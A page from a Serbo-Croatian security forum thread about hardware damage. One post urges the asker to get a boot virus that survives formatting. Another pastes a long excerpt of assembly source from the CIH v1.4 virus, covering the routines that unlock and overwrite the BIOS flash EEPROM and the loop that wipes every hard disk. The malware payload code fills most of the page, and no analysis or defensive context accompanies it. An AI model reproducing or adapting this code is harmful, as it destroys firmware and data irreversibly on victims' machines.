Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

hardverska ostecenja

[es] :: Zaštita :: hardverska ostecenja

Strane: 1 2

[ Pregleda: 5428 | Odgovora: 23 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Deepforest
EX YU

Član broj: 867
Poruke: 3
*.net.hinet.hr



Profil

icon Re: hardverska ostecenja04.09.2001. u 20:53 - pre 276 meseci
NADJI TI DOBAR BOOT VIRUS, ONE PRAVE NI FORNATIRANJE NE MICE PA KUD CES CRNJE OD TOGA!!


Sto se ti ce ostecenja ja mislim da se javila neka fora sa overlokovanjem!!
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: hardverska ostecenja28.11.2003. u 11:56 - pre 249 meseci
Izvadjeno iz Cih v1.4 :

Code:

; ***************************
; * Kill BIOS EEPROM        *
; ***************************

            mov    bp, 0cf8h
            lea    esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *    (   64 KB   )    *
; ***********************

            mov    edi, 8000384ch
            mov    dx, 0cfeh
            cli
            call    esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************

            mov    di, 0058h
            dec    edx                    ; and al,0fh
            mov    word ptr (BooleanCalculateCode-@10)[esi], 0f24h
            call    esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************

            lea    ebx, EnableEEPROMToWrite-@10[esi]

            mov    eax, 0e5555h
            mov    ecx, 0e2aaah
            call    ebx
            mov    byte ptr [eax], 60h

            push    ecx
            loop    $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

            xor    ah, ah
            mov    [eax], al

            xchg    ecx, eax
            loop    $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************

            mov    eax, 0f5555h
            pop    ecx
            mov    ch, 0aah
            call    ebx
            mov    byte ptr [eax], 20h

            loop    $

; ***********************
; * Kill the BIOS Main  *
; * ROM Data in Memory  *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

            mov    ah, 0e0h
            mov    [eax], al

; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
                                    ; or al,10h
            mov    word ptr (BooleanCalculateCode-@10)[esi], 100ch
            call    esi

; ***************************
; * Kill All HardDisk       *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs          *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
            xor    ebx, ebx
            mov    bh, FirstKillHardDiskNumber
            push    ebx
            sub    esp, 2ch
            push    0c0001000h
            mov    bh, 08h
            push    ebx
            push    ecx
            push    ecx
            push    ecx
            push    40000501h
            inc    ecx
            push    ecx
            push    ecx

            mov    esi, esp
            sub    esp, 0ach

LoopOfKillHardDisk:
            int    20h
            dd    00100004h    ; VXDCall IOS_SendCommand

            cmp    word ptr [esi+06h], 0017h
            je    KillNextDataSection

ChangeNextHardDisk:
            inc    byte ptr [esi+4dh]

            jmp    LoopOfKillHardDisk

KillNextDataSection:
            add    dword ptr [esi+10h], ebx
            mov    byte ptr [esi+4dh], FirstKillHardDiskNumber

            jmp    LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write  *
; ***************************

EnableEEPROMToWrite:
            mov    [eax], cl
            mov    [ecx], al
            mov    byte ptr [eax], 80h
            mov    [eax], cl
            mov    [ecx], al

            ret

; ***************************
; * IO for EEPROM           *
; ***************************

IOForEEPROM:
@10            =    IOForEEPROM

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, eax

            xchg    eax, edi
            xchg    edx, ebp
            in    al, dx

BooleanCalculateCode    =    $
            or    al, 44h

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, eax

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, al

            ret
 
Odgovor na temu

[es] :: Zaštita :: hardverska ostecenja

Strane: 1 2

[ Pregleda: 5428 | Odgovora: 23 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.